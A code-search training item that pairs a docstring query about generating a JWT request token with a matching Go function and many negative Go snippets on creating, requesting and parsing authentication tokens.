GenerateRequestToken generates a token for a check request
func GenerateRequestToken(proxy, uid, checkid int) (string, error) { claims := struct { Proxy int `json:"proxy"` ID int `json:"id"` CheckID int `json:"checkid"` jwt.StandardClaims }{ proxy, uid, checkid, jwt.StandardClaims{ ExpiresAt: time.Now().Add(time.Minute * 10).Unix(), Issuer: "Server", }, } token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) return token.SignedString([]byte(os.Getenv("JWTSecret"))) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func RequestToken(w http.ResponseWriter, r *http.Request) {\n\t// get the token from the body\n\tvar requestData requestTokenRequest\n\terr := json.NewDecoder(r.Body).Decode(&requestData)\n\tif err != nil {\n\t\ttemplates.JSONError(w, err)\n\t\treturn\n\t}\n\n\t// read and validate the token\n\ttoken, err := jwt.ParseWithClaims(requestData.Token, &CustomClaims{}, func(token *jwt.Token) (interface{}, error) {\n\t\treturn []byte(AccessTokenKey), nil\n\t})\n\n\tif claims, ok := token.Claims.(*CustomClaims); ok && token.Valid {\n\t\tnow := time.Now().Unix()\n\t\tif now > claims.Expires {\n\t\t\ttemplates.JSONErrorExpiredToken(w)\n\t\t\treturn\n\t\t}\n\t\tif claims.TokenType != \"access-token\" {\n\t\t\ttemplates.JSONErrorMessage(w, \"The token is not valid\")\n\t\t\treturn\n\t\t}\n\n\t\t// create a request and refresh token\n\t\trequestToken, _ := createToken(claims.Username, claims.Namespace, \"request-token\")\n\t\trefreshToken, _ := createToken(claims.Username, claims.Namespace, \"refresh-token\")\n\t\tdata := requestTokenResponse{RequestToken: requestToken, RefreshToken: refreshToken}\n\t\ttemplates.JSON(w, data)\n\t} else {\n\t\ttemplates.JSONError(w, err)\n\t\treturn\n\t}\n\n}", "func GenerateToken(c *gin.Context) {\n\tcurrentUser := GetCurrentUser(c.Request)\n\tif currentUser == nil {\n\t\terr := c.AbortWithError(http.StatusUnauthorized, fmt.Errorf(\"Invalid session\"))\n\t\tbanzaiUtils.LogInfo(banzaiConstants.TagAuth, c.ClientIP(), err.Error())\n\t\treturn\n\t}\n\n\ttokenID := uuid.NewV4().String()\n\n\t// Create the Claims\n\tclaims := &ScopedClaims{\n\t\tjwt.StandardClaims{\n\t\t\tIssuer: auth0ApiIssuer,\n\t\t\tAudience: auth0ApiAudiences[0],\n\t\t\tIssuedAt: time.Now().UnixNano(),\n\t\t\tExpiresAt: time.Now().UnixNano() * 2,\n\t\t\tSubject: strconv.Itoa(int(currentUser.ID)),\n\t\t\tId: tokenID,\n\t\t},\n\t\t\"api:invoke\",\n\t}\n\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)\n\tsignedToken, err := token.SignedString(signingKey)\n\n\tif err != nil {\n\t\terr = c.AbortWithError(http.StatusInternalServerError, fmt.Errorf(\"Failed to sign token: %s\", err))\n\t\tbanzaiUtils.LogInfo(banzaiConstants.TagAuth, c.ClientIP(), err.Error())\n\t} else {\n\t\terr = tokenStore.Store(strconv.Itoa(int(currentUser.ID)), tokenID)\n\t\tif err != nil {\n\t\t\terr = c.AbortWithError(http.StatusInternalServerError, fmt.Errorf(\"Failed to store token: %s\", err))\n\t\t\tbanzaiUtils.LogInfo(banzaiConstants.TagAuth, c.ClientIP(), err.Error())\n\t\t} else {\n\t\t\tc.JSON(http.StatusOK, gin.H{\"token\": signedToken})\n\t\t}\n\t}\n}", "func generateAppAuthTokenRequest(clientID string, clientSecret string) *github.AuthorizationRequest {\n\n\trand := randString()\n\tauth := github.AuthorizationRequest{\n\t\tNote: github.String(\"App token: Note generated by test: \" + rand),\n\t\tScopes: []github.Scope{github.ScopePublicRepo},\n\t\tFingerprint: github.String(\"App token: Fingerprint generated by test: \" + rand),\n\t\tClientID: github.String(clientID),\n\t\tClientSecret: github.String(clientSecret),\n\t}\n\n\treturn &auth\n}", "func GenerateToken(username, dept_id string) (string, error) {\n\tnowTime := time.Now()\n\texpireTime := nowTime.Add(330 * 24 * time.Hour)\n\n\tclaims := CustomClaims{\n\t\tusername,\n\t\tdept_id,\n\t\tjwt.StandardClaims{\n\t\t\tExpiresAt: expireTime.Unix(),\n\t\t\tIssuer: \"dingtalk\",\n\t\t},\n\t}\n\n\ttokenClaims := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)\n\ttoken, err := tokenClaims.SignedString(jwtSecret)\n\n\treturn token, err\n}", "func GenerateToken(s *Server) gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tvar data TokenParameter\n\n\t\tif err := c.BindJSON(&data); err != nil {\n\t\t\tc.JSON(http.StatusBadRequest, gin.H{\"status\": \"JSON Body is missing fields\"})\n\t\t\treturn\n\t\t}\n\n\t\tif err := data.Validate(); err != nil {\n\t\t\tc.JSON(http.StatusBadRequest, gin.H{\"status\": \"JSON Body has invalid data\"})\n\t\t\treturn\n\t\t}\n\n\t\tdeviceId := GetDeviceId(data.Device.Serial)\n\t\ttokenStr := GetTokenString(deviceId)\n\n\t\tif _, err := s.Redis.Do(\"SETEX\", tokenStr, LocalConfig.tokenLifetime, tokenStr); err != nil {\n\t\t\tc.JSON(http.StatusInternalServerError, gin.H{\"status\": \"Internal error\"})\n\t\t\treturn\n\t\t}\n\n\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\"deviceid\": deviceId,\n\t\t\t\"token\": tokenStr,\n\t\t\t\"ttl\": LocalConfig.tokenLifetime,\n\t\t})\n\t}\n}", "func GenerateToken(payload PayLoad, expireTime int64) (string, error) {\n\n\tclaims := Claims{\n\t\tpayload.ID,\n\t\tpayload.Account,\n\t\tEncodeMD5(payload.Password),\n\t\tpayload.Scope,\n\t\tpayload.IsSuper,\n\t\tjwt.StandardClaims{\n\t\t\tExpiresAt: expireTime,\n\t\t\tIssuer: \"liaoliao\",\n\t\t},\n\t}\n\n\ttokenClaims := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)\n\ttoken, err := tokenClaims.SignedString(jwtSecret)\n\n\treturn token, err\n}", "func GenerateToken(m *models.User) (*AuthToken, error) {\n\tnowTime := time.Now()\n\texpireTime := nowTime.Add(24 * time.Hour)\n\n\tclaims := userStdClaims{\n\t\tUser: m,\n\t\tStandardClaims: jwt.StandardClaims{\n\t\t\tExpiresAt: expireTime.Unix(),\n\t\t\tIssuedAt: time.Now().Unix(),\n\t\t\tIssuer: \"gin-server-api\",\n\t\t},\n\t}\n\n\ttokenClaims := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)\n\ttoken, err := tokenClaims.SignedString(jwtSecret)\n\n\tauthToken := &AuthToken{Token: token, ExpiresAt: expireTime.Format(\"2006-01-02 15:04:05\")}\n\treturn authToken, err\n}", "func (c *Client) GenerateToken(ctx context.Context, req *proto.GenerateTokenRequest) (string, error) {\n\tswitch resp, err := c.APIClient.GenerateToken(ctx, req); {\n\tcase err == nil:\n\t\treturn resp, nil\n\tcase !trace.IsNotImplemented(err):\n\t\treturn \"\", trace.Wrap(err)\n\t}\n\n\tout, err := c.PostJSON(ctx, c.Endpoint(\"tokens\"), req)\n\tif err != nil {\n\t\treturn \"\", trace.Wrap(err)\n\t}\n\tvar token string\n\tif err := json.Unmarshal(out.Bytes(), &token); err != nil {\n\t\treturn \"\", trace.Wrap(err)\n\t}\n\treturn token, nil\n}", "func GenerateToken() (string, int64, error) {\n\tnow := time.Now()\n\tnow = now.UTC()\n\n\texpiration := now.Add(TokenLifespan).Unix()\n\tclaims := &jwt.StandardClaims{\n\t\tIssuer: \"auth.evanmoncuso.com\",\n\t\tAudience: \"*\",\n\t\tExpiresAt: expiration,\n\t\tIssuedAt: now.Unix(),\n\t}\n\n\ttoken := jwt.NewWithClaims(SigningMethod, claims)\n\ttokenString, err := token.SignedString(TokenSecret)\n\n\treturn tokenString, expiration, err\n}", "func GenerateToken(info Jwt) (string, error) {\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{\n\t\t\"id\": info.ID,\n\t\t\"email\": info.Email,\n\t\t\"name\": info.Name,\n\t\t\"nbf\": time.Date(2015, 10, 10, 12, 0, 0, 0, time.UTC).Unix(),\n\t})\n\n\t// Sign and get the complete encoded token as a string using the secret\n\treturn token.SignedString(secret)\n}", "func (h *Helper) generateToken(tokentype int, expiresInSec time.Duration, id, role, username, email, picturepath string, createdAt, modifiedAt int64) (string, error) {\n\t// Create the Claims\n\tclaims := AppClaims{\n\t\tStandardClaims: jwt.StandardClaims{\n\t\t\tAudience: helper.TokenAudience,\n\t\t\tSubject: id,\n\t\t\tIssuedAt: time.Now().Unix(),\n\t\t\t//1Day\n\t\t\tExpiresAt: time.Now().Add(expiresInSec).Unix(),\n\t\t\tIssuer: helper.TokenIssuer,\n\t\t},\n\t\tRole: role,\n\t}\n\tswitch tokentype {\n\tcase ID_TOKEN:\n\t\tclaims.Type = \"id_token\"\n\t\tclaims.User = &TokenUser{username, email, picturepath, createdAt, modifiedAt}\n\tcase REFRESH_TOKEN:\n\t\tclaims.Type = \"refresh\"\n\tcase ACCESS_TOKEN:\n\t\tclaims.Type = \"bearer\"\n\t}\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodRS256, claims)\n\tss, err := token.SignedString(h.signKey)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn ss, nil\n}", "func GenerateToken(payload map[string]interface{}) (string, error) {\n\treturn GenerateCustomToken(payload, defaultSecret, defaultExpireTime)\n}", "func (c *Cache) requestToken(req *http.Request) (string, error) {\n\tauthorization := req.Header.Get(\"Authorization\")\n\tif authorization == \"\" {\n\t\treturn \"\", failure.New(\"request contains no authorization header\")\n\t}\n\tfields := strings.Fields(authorization)\n\tif len(fields) != 2 || fields[0] != \"Bearer\" {\n\t\treturn \"\", failure.New(\"invalid authorization header: %q\", authorization)\n\t}\n\treturn fields[1], nil\n}", "func generateToken() (string, time.Time) {\n now := time.Now();\n\n randData := make([]byte, TOKEN_RANDOM_BYTE_LEN);\n rand.Read(randData);\n\n timeBinary := make([]byte, 8);\n binary.LittleEndian.PutUint64(timeBinary, uint64(now.UnixNano() / 1000));\n\n tokenData := bytes.Join([][]byte{timeBinary, randData}, []byte{});\n\n return base64.URLEncoding.EncodeToString(tokenData), now;\n}", "func generatePersonalAuthTokenRequest() *github.AuthorizationRequest {\n\n\trand := randString()\n\tauth := github.AuthorizationRequest{\n\t\tNote: github.String(\"Personal token: Note generated by test: \" + rand),\n\t\tScopes: []github.Scope{github.ScopePublicRepo},\n\t\tFingerprint: github.String(\"Personal token: Fingerprint generated by test: \" + rand),\n\t}\n\n\treturn &auth\n}", "func (middleware *Middleware) GenerateToken(field interface{}) (string, error) {\n\treturn middleware.CreateToken(CustomClaims{\n\t\tCustomField: field,\n\t\tStandardClaims: jwt.StandardClaims{\n\t\t\tNotBefore: time.Now().Unix() - 10,\n\t\t\tExpiresAt: time.Now().Unix() + middleware.ExpireSecond,\n\t\t\tIssuer: middleware.SigningKeyString,\n\t\t},\n\t})\n}", "func GenerateToken(secretKey string, validDays int) string {\n\n\tif validDays < 1 {\n\t\tvalidDays = 1\n\t}\n\n\tclaims := sjwt.New() // Issuer of the token\n\tclaims.SetIssuer(\"goUpload\")\n\t/*\n\t\tclaims.SetTokenID() // UUID generated\n\t\tclaims.SetSubject(\"Bearer Token\") // Subject of the token\n\t\tclaims.SetAudience([]string{\"Prometeus\"}) // Audience the toke is for\n\t\tclaims.SetIssuedAt(time.Now()) // IssuedAt in time, value is set in unix\n\t*/\n\tclaims.SetNotBeforeAt(time.Now()) // Token valid now\n\tclaims.SetExpiresAt(time.Now().Add(time.Hour * 24 * time.Duration(validDays))) // Token expires in 24 hours\n\tjwt := claims.Generate([]byte(secretKey))\n\treturn jwt\n}", "func GenerateToken(key []byte, userID int64, credential string) (string, error) {\n\n\t//new token\n\ttoken := jwt.New(jwt.SigningMethodHS256)\n\n\t// Claims\n\tclaims := make(jwt.MapClaims)\n\tclaims[\"user_id\"] = userID\n\tclaims[\"credential\"] = credential\n\tclaims[\"exp\"] = time.Now().Add(time.Hour*720).UnixNano() / int64(time.Millisecond)\n\ttoken.Claims = claims\n\n\t// Sign and get as a string\n\ttokenString, err := token.SignedString(key)\n\treturn tokenString, err\n}", "func (endpoints *endpointDetails) requestToken(w http.ResponseWriter, req *http.Request) {\n\tauthReq := endpoints.osinOAuthClient.NewAuthorizeRequest(osincli.CODE)\n\toauthURL := authReq.GetAuthorizeUrl()\n\n\thttp.Redirect(w, req, oauthURL.String(), http.StatusFound)\n}", "func GenerateToken(id int, account string, role string) (token string, err error) {\n nowTime := time.Now()\n expireTime := nowTime.Add(3 * time.Hour) // token發放後多久過期\n\n claims := Claims{\n ID: id,\n Account: account,\n Role: role,\n StandardClaims: jwt.StandardClaims{\n ExpiresAt: expireTime.Unix(),\n IssuedAt: nowTime.Unix(),\n Issuer: \"go-gin-cli\",\n },\n }\n\n tokenClaims := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)\n token, err = tokenClaims.SignedString(jwtSecret)\n if err != nil {\n log.Println(err)\n return\n }\n\n return\n}", "func GenerateActionsRunnerToken(ctx *context.PrivateContext) {\n\tvar genRequest private.GenerateTokenRequest\n\trd := ctx.Req.Body\n\tdefer rd.Close()\n\n\tif err := json.NewDecoder(rd).Decode(&genRequest); err != nil {\n\t\tlog.Error(\"%v\", err)\n\t\tctx.JSON(http.StatusInternalServerError, private.Response{\n\t\t\tErr: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\n\towner, repo, err := parseScope(ctx, genRequest.Scope)\n\tif err != nil {\n\t\tlog.Error(\"%v\", err)\n\t\tctx.JSON(http.StatusInternalServerError, private.Response{\n\t\t\tErr: err.Error(),\n\t\t})\n\t}\n\n\ttoken, err := actions_model.GetUnactivatedRunnerToken(ctx, owner, repo)\n\tif errors.Is(err, util.ErrNotExist) {\n\t\ttoken, err = actions_model.NewRunnerToken(ctx, owner, repo)\n\t\tif err != nil {\n\t\t\terr := fmt.Sprintf(\"error while creating runner token: %v\", err)\n\t\t\tlog.Error(\"%v\", err)\n\t\t\tctx.JSON(http.StatusInternalServerError, private.Response{\n\t\t\t\tErr: err,\n\t\t\t})\n\t\t\treturn\n\t\t}\n\t} else if err != nil {\n\t\terr := fmt.Sprintf(\"could not get unactivated runner token: %v\", err)\n\t\tlog.Error(\"%v\", err)\n\t\tctx.JSON(http.StatusInternalServerError, private.Response{\n\t\t\tErr: err,\n\t\t})\n\t\treturn\n\t}\n\n\tctx.PlainText(http.StatusOK, token.Token)\n}", "func Generate(userID int, ip string, allowedIPs []string) (token string, success bool) {\n\treturn GenerateCtx(userID, ip, allowedIPs, defaultCtx)\n}", "func (p *portworxClient) tokenGenerator() (string, error) {\n\tif len(p.jwtSharedSecret) == 0 {\n\t\treturn \"\", nil\n\t}\n\n\tclaims := &auth.Claims{\n\t\tIssuer: p.jwtIssuer,\n\t\tName: \"Stork\",\n\n\t\t// Unique id for stork\n\t\t// this id must be unique across all accounts accessing the px system\n\t\tSubject: p.jwtIssuer + \".\" + uniqueID,\n\n\t\t// Only allow certain calls\n\t\tRoles: []string{\"system.admin\"},\n\n\t\t// Be in all groups to have access to all resources\n\t\tGroups: []string{\"*\"},\n\t}\n\n\t// This never returns an error, but just in case, check the value\n\tsignature, err := auth.NewSignatureSharedSecret(p.jwtSharedSecret)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Set the token expiration\n\toptions := &auth.Options{\n\t\tExpiration: time.Now().Add(time.Hour * 1).Unix(),\n\t\tIATSubtract: 1 * time.Minute,\n\t}\n\n\ttoken, err := auth.Token(claims, signature, options)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn token, nil\n}", "func NewRequestToken(index uint32) RequestToken {\n\treturn RequestToken{\n\t\tindex: index,\n\t\tcreateAt: time.Now().UTC(),\n\t}\n}", "func (endpoints *endpointDetails) requestToken(w http.ResponseWriter, req *http.Request) {\n\tauthReq := endpoints.originOAuthClient.NewAuthorizeRequest(osincli.CODE)\n\toauthURL := authReq.GetAuthorizeUrlWithParams(\"\")\n\n\thttp.Redirect(w, req, oauthURL.String(), http.StatusFound)\n}", "func requestNewToken(config *oauth2.Config) (*oauth2.Token, error) {\n\t// get authorization code\n\tlog.Printf(\"Enter auth code from: \\n%v\\n\", config.AuthCodeURL(stateToken, oauth2.AccessTypeOffline))\n\tvar auth string\n\t_, err := fmt.Scan(&auth)\n\tif err != nil {\n\t\treturn nil, errors.New(\"Failed to scan auth code: \" + err.Error())\n\t}\n\n\t// get new token using auth code, passing empty context (same as TODO())\n\ttoken, err := config.Exchange(oauth2.NoContext, auth)\n\tif err != nil {\n\t\treturn nil, errors.New(\"Failed to get token: \" + err.Error())\n\t}\n\treturn token, nil\n}", "func GenerateRequestID() string {\n h := sha1.New()\n h.Write([]byte(time.Now().String()))\n id := hex.EncodeToString(h.Sum(nil))\n return id\n}", "func GenerateToken(username string, isAdmin bool, expires int, signingKey []byte) (string, error) {\n\tiat := time.Now()\n\texpirationTime := iat.Add(time.Duration(expires) * time.Second)\n\t// Create the JWT claims, which includes the username and expiry time\n\tclaims := &CustomClaims{\n\t\tUsername: username,\n\t\tIsAdmin: isAdmin,\n\t\tIssuedAt: iat.Unix(),\n\t\tStandardClaims: jwt.StandardClaims{\n\t\t\t// In JWT, the expiry time is expressed as unix milliseconds\n\t\t\tExpiresAt: expirationTime.Unix(),\n\t\t},\n\t}\n\n\t// Declare the token with the algorithm used for signing, and the claims\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)\n\t// Create the JWT string.\n\treturn token.SignedString(signingKey)\n}", "func GenToken(id uint) string {\n\tjwt_token := jwt.New(jwt.GetSigningMethod(\"HS256\"))\n\t// Set some claims\n\tjwt_token.Claims = jwt.MapClaims{\n\t\t\"id\": id,\n\t\t\"exp\": time.Now().Add(time.Hour * 24).Unix(),\n\t}\n\t// Sign and get the complete encoded token as a string\n\ttoken, _ := jwt_token.SignedString([]byte(NBSecretPassword))\n\treturn token\n}", "func requestToken(client *http.Client, username, password string) ([]byte, error) {\n\treq, err := http.NewRequest(\"GET\", cfg.tokenRequestEndpoint, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.SetBasicAuth(username, password)\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\treturn ioutil.ReadAll(resp.Body)\n}", "func GenerateToken(user string) (string, error) {\n\tvar err error\n\tsecret := \"secret\"\n\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{\n\t\t\"username\": user,\n\t\t\"iss\": strconv.FormatInt(GetCurrentTimeMillis(), 10),\n\t})\n\ttokenString, err := token.SignedString([]byte(secret))\n\n\treturn tokenString, err\n}", "func (m *manager) GenerateToken(userID string, username string, roles []string) (string, error) {\n nowTime := time.Now()\n expireTime := nowTime.Add(m.expireTime * time.Second)\n\n claims := Token{\n UserID: userID,\n Name: m.hashService.Make(username),\n Roles: roles,\n StandardClaims: &jwt.StandardClaims{\n ExpiresAt: expireTime.Unix(),\n Issuer: m.issuer,\n Audience: m.audience,\n },\n }\n\n tokenClaims := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)\n token, err := tokenClaims.SignedString(m.jwtSecret)\n\n return token, err\n}", "func GenerateToken(secret []byte, aud, sub string) (string, error) {\n\n\ttok := jwt.NewWithClaims(jwt.SigningMethodHS256, &jwt.RegisteredClaims{\n\t\tIssuer: TokenIssuer,\n\t\tAudience: []string{aud},\n\t\tSubject: sub,\n\t\tIssuedAt: jwt.NewNumericDate(time.Now()),\n\t\tNotBefore: jwt.NewNumericDate(time.Now().Add(-15 * time.Minute)),\n\t})\n\n\treturn tok.SignedString(secret)\n}", "func GenerateToken(length int) string {\n\ttokenParts := make([]string, 0)\n\tfor i := 0; i < length; i++ {\n\t\ttokenParts = append(tokenParts, TokenPart())\n\t}\n\treturn strings.Join(tokenParts, \"-\")\n}", "func GenerateToken(c *gin.Context, user *models.UserResource) string {\n\tclaims := jwt.NewWithClaims(jwt.SigningMethodHS256, &jwt.StandardClaims{\n\t\tIssuer: user.ID,\n\t\tExpiresAt: jwt.NewTime(float64(time.Now().Add(24 * time.Hour).UnixNano())),\n\t})\n\n\ttoken, err := claims.SignedString([]byte(SecretKey))\n\tif err != nil {\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\"error\": \"Unable to authonticate\"})\n\t\treturn \"\"\n\t}\n\tc.SetCookie(\n\t\t\"jwt\", token, int(time.Now().Add(24*time.Hour).UnixNano()), \"/\", \"localhost\", false, true,\n\t)\n\treturn token\n}", "func GenerateToken() (string, error) {\n\treturn generateEncodedString(TokenBytes)\n}", "func GenToken() (token string, err error) {\n\ttoken, err = getRandString(tokenBytes)\n\treturn\n}", "func (arb *ArbiterClient) RequestToken(href string, method string, caveat string) ([]byte, error) {\n\n\tu, err := url.Parse(href)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\n\thost, _, err1 := net.SplitHostPort(u.Host)\n\tif err != nil {\n\t\treturn []byte{}, err1\n\t}\n\n\trouteHash := host + strings.ToUpper(u.Path) + method + caveat\n\tarb.tokenCacheMutex.Lock()\n\ttoken, exists := arb.tokenCache[routeHash]\n\tarb.tokenCacheMutex.Unlock()\n\tif !exists {\n\t\tvar status int\n\t\tpayload := []byte(`{\"target\":\"` + host + `\",\"path\":\"` + u.Path + `\",\"method\":\"` + method + `\",\"caveats\":[` + caveat + `]}`)\n\n\t\ttoken, status = arb.makeArbiterPostRequest(\"/token\", host, u.Path, payload)\n\t\tif status != 200 {\n\t\t\terr = errors.New(strconv.Itoa(status) + \": \" + string(token))\n\t\t\treturn []byte{}, err\n\t\t}\n\t\tarb.tokenCacheMutex.Lock()\n\t\tarb.tokenCache[routeHash] = token\n\t\tarb.tokenCacheMutex.Unlock()\n\t}\n\n\treturn token, err\n}", "func Generate(payload map[string]interface{}, privateKey *rsa.PrivateKey) []byte {\n\tpayload[\"date\"] = time.Now().UTC().Format(\"02-01-2006\")\n\n\ttoken, err := jws.NewJWT(payload, crypto.SigningMethodRS512).Serialize(privateKey)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn token\n}", "func (a *Authenticator) requestNewToken() (jwt.Token, error) {\n\trestRequest, err := a.getAuthRequest()\n\tif err != nil {\n\t\treturn jwt.Token{}, fmt.Errorf(\"error during auth request creation: %w\", err)\n\t}\n\n\tgetMethod := rest.PostMethod\n\n\thttpRequest, err := restRequest.GetHTTPRequest(a.BasePath, getMethod.Method)\n\tif err != nil {\n\t\treturn jwt.Token{}, fmt.Errorf(\"error constructing token http request: %w\", err)\n\t}\n\tbodyToSign, err := restRequest.GetJSONBody()\n\tif err != nil {\n\t\treturn jwt.Token{}, fmt.Errorf(\"error marshalling token request: %w\", err)\n\t}\n\tsignature, err := signWithKey(bodyToSign, a.PrivateKeyBody)\n\tif err != nil {\n\t\treturn jwt.Token{}, err\n\t}\n\thttpRequest.Header.Add(signatureHeader, signature)\n\n\thttpResponse, err := a.HTTPClient.Do(httpRequest)\n\tif err != nil {\n\t\treturn jwt.Token{}, fmt.Errorf(\"error requesting token: %w\", err)\n\t}\n\n\tdefer httpResponse.Body.Close()\n\n\t// read entire response body\n\tb, err := ioutil.ReadAll(httpResponse.Body)\n\tif err != nil {\n\t\treturn jwt.Token{}, fmt.Errorf(\"error requesting token: %w\", err)\n\t}\n\n\trestResponse := rest.Response{\n\t\tBody: b,\n\t\tStatusCode: httpResponse.StatusCode,\n\t\tMethod: getMethod,\n\t}\n\n\tvar tokenToReturn tokenResponse\n\terr = restResponse.ParseResponse(&tokenToReturn)\n\tif err != nil {\n\t\treturn jwt.Token{}, fmt.Errorf(\"error requesting token: %w\", err)\n\t}\n\n\treturn jwt.New(tokenToReturn.Token)\n}", "func RequestVerify(req *http.Request, key Key) (*JWT, error) {\n\treturn decode(req, key)\n}", "func (c *EpinioClient) generateToken(ctx context.Context, oidcProvider *dex.OIDCProvider, prompt bool) (*oauth2.Token, error) {\n\tvar authCode, codeVerifier string\n\tvar err error\n\n\tif prompt {\n\t\tauthCode, codeVerifier, err = c.getAuthCodeAndVerifierFromUser(oidcProvider)\n\t} else {\n\t\tauthCode, codeVerifier, err = c.getAuthCodeAndVerifierWithServer(ctx, oidcProvider)\n\t}\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error getting the auth code\")\n\t}\n\n\ttoken, err := oidcProvider.ExchangeWithPKCE(ctx, authCode, codeVerifier)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"exchanging with PKCE\")\n\t}\n\treturn token, nil\n}", "func PostTokenRequest(param string, url string, auth model.Auth) (string, error) {\n\tlog.Infof(\"PostTokenRequest param: %s, url: %s, ak: %s\", param, url, auth.AccessKey)\n\t// construct http request\n\treq, errNewRequest := http.NewRequest(\"POST\", url, strings.NewReader(param))\n\tif errNewRequest != nil {\n\t\treturn \"\", errNewRequest\n\t}\n\n\t// request header\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(util.DATE_HEADER, time.Now().Format(util.DATE_FORMAT))\n\treq.Header.Set(\"Host\", req.Host)\n\t// calculate signature by safe algorithm\n\tsign := util.Sign{\n\t\tAccessKey: auth.AccessKey,\n\t\tSecretKey: auth.SecretKey,\n\t}\n\tauthorization, errSign := sign.GetAuthorizationValueWithSign(req)\n\tif errSign != nil {\n\t\treturn \"\", errSign\n\t}\n\treq.Header.Set(\"Authorization\", authorization)\n\n\t// send http request\n\tresponse, errDo := DoRequest(req)\n\tif errDo != nil {\n\t\treturn \"\", errDo\n\t}\n\n\tdefer response.Body.Close()\n\tbody, err2 := ioutil.ReadAll(response.Body)\n\tif err2 != nil {\n\t\treturn \"\", err2\n\t}\n\n\tif response.StatusCode != http.StatusOK {\n\t\tlog.Errorf(\"response status: %s, body: %s\", response.Status, string(body))\n\t\treturn \"\", errors.New(\"request failed, status is \" + strconv.Itoa(response.StatusCode))\n\t}\n\tlog.Infof(\"response status: %s\", response.Status)\n\treturn string(body), nil\n}", "func GenerateToken(name string, cost int) string {\n\thash, err := bcrypt.GenerateFromPassword([]byte(name), cost)\n\tif err != nil {\n\t\tglog.Errorf(\"Failed to generate a random token: %v\", err)\n\t}\n\treturn base64.StdEncoding.EncodeToString(hash)\n}", "func GenToken(\n\tctx context.Context, payload *Payload, group string, expires int64,\n) (tokenStr string, err error) {\n\t// Handling any panic is good trust me!\n\tdefer func() {\n\t\tif err2 := recover(); err2 != nil {\n\t\t\terr = fmt.Errorf(\"%v\", err2)\n\t\t}\n\t}()\n\n\tif payload == nil {\n\t\tpayload = &Payload{\n\t\t\tID: uuid.New().String(),\n\t\t\tFullName: randomdata.SillyName(),\n\t\t\tEmailAddress: randomdata.Email(),\n\t\t\tPhoneNumber: randomdata.PhoneNumber(),\n\t\t\tGroup: group,\n\t\t}\n\t}\n\n\ttoken := jwt.NewWithClaims(signingMethod, Claims{\n\t\tPayload: payload,\n\t\tStandardClaims: jwt.StandardClaims{\n\t\t\tExpiresAt: expires,\n\t\t\tIssuer: \"mcfp\",\n\t\t},\n\t})\n\n\t// Generate the token\n\treturn token.SignedString(signingKey)\n}", "func (ts TokenService) GenerateToken(ctx context.Context, userName string, period int,\n\teffectiveGroup resources.Group) (string, error) {\n\teffectiveGroupID, err := effectiveGroup.ID()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn ts.manageToken(ctx, userName, period, effectiveGroupID)\n}", "func getTokenInRequest(req *http.Request, name string) (string, bool, error) {\n\tbearer := true\n\t// step: check for a token in the authorization header\n\ttoken, err := getTokenInBearer(req)\n\tif err != nil {\n\t\tif err != ErrSessionNotFound {\n\t\t\treturn \"\", false, err\n\t\t}\n\t\tif token, err = getTokenInCookie(req, name); err != nil {\n\t\t\treturn token, false, err\n\t\t}\n\t\tbearer = false\n\t}\n\n\treturn token, bearer, nil\n}", "func (tm *IAMTokenManager) requestToken() (*IAMTokenInfo, error) {\n\tbuilder := NewRequestBuilder(POST).\n\t\tConstructHTTPURL(tm.iamURL, nil, nil)\n\n\tbuilder.AddHeader(CONTENT_TYPE, DEFAULT_CONTENT_TYPE).\n\t\tAddHeader(Accept, APPLICATION_JSON)\n\n\tbuilder.AddFormData(\"grant_type\", \"\", \"\", REQUEST_TOKEN_GRANT_TYPE).\n\t\tAddFormData(\"apikey\", \"\", \"\", tm.iamAPIkey).\n\t\tAddFormData(\"response_type\", \"\", \"\", REQUEST_TOKEN_RESPONSE_TYPE)\n\n\treq, err := builder.Build()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.SetBasicAuth(tm.iamClientId, tm.iamClientSecret)\n\n\tresp, err := tm.client.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif resp.StatusCode < 200 || resp.StatusCode >= 300 {\n\t\tif resp != nil {\n\t\t\tbuff := new(bytes.Buffer)\n\t\t\tbuff.ReadFrom(resp.Body)\n\t\t\treturn nil, fmt.Errorf(buff.String())\n\t\t}\n\t}\n\n\ttokenInfo := IAMTokenInfo{}\n\tjson.NewDecoder(resp.Body).Decode(&tokenInfo)\n\tdefer resp.Body.Close()\n\treturn &tokenInfo, nil\n}", "func GenerateToken(user entity.User, expJWTAccess time.Time, expJWTRefresh time.Time) (token schema.Token, e error) {\n\tjwtToken, e := GenerateJWT(user, expJWTAccess)\n\tif e != nil {\n\t\treturn\n\t}\n\n\trefreshToken, e := generateRefresh(user, expJWTRefresh)\n\tif e != nil {\n\t\treturn\n\t}\n\n\ttoken = schema.Token{\n\t\tAccess: jwtToken,\n\t\tRefresh: refreshToken,\n\t\tTTL: 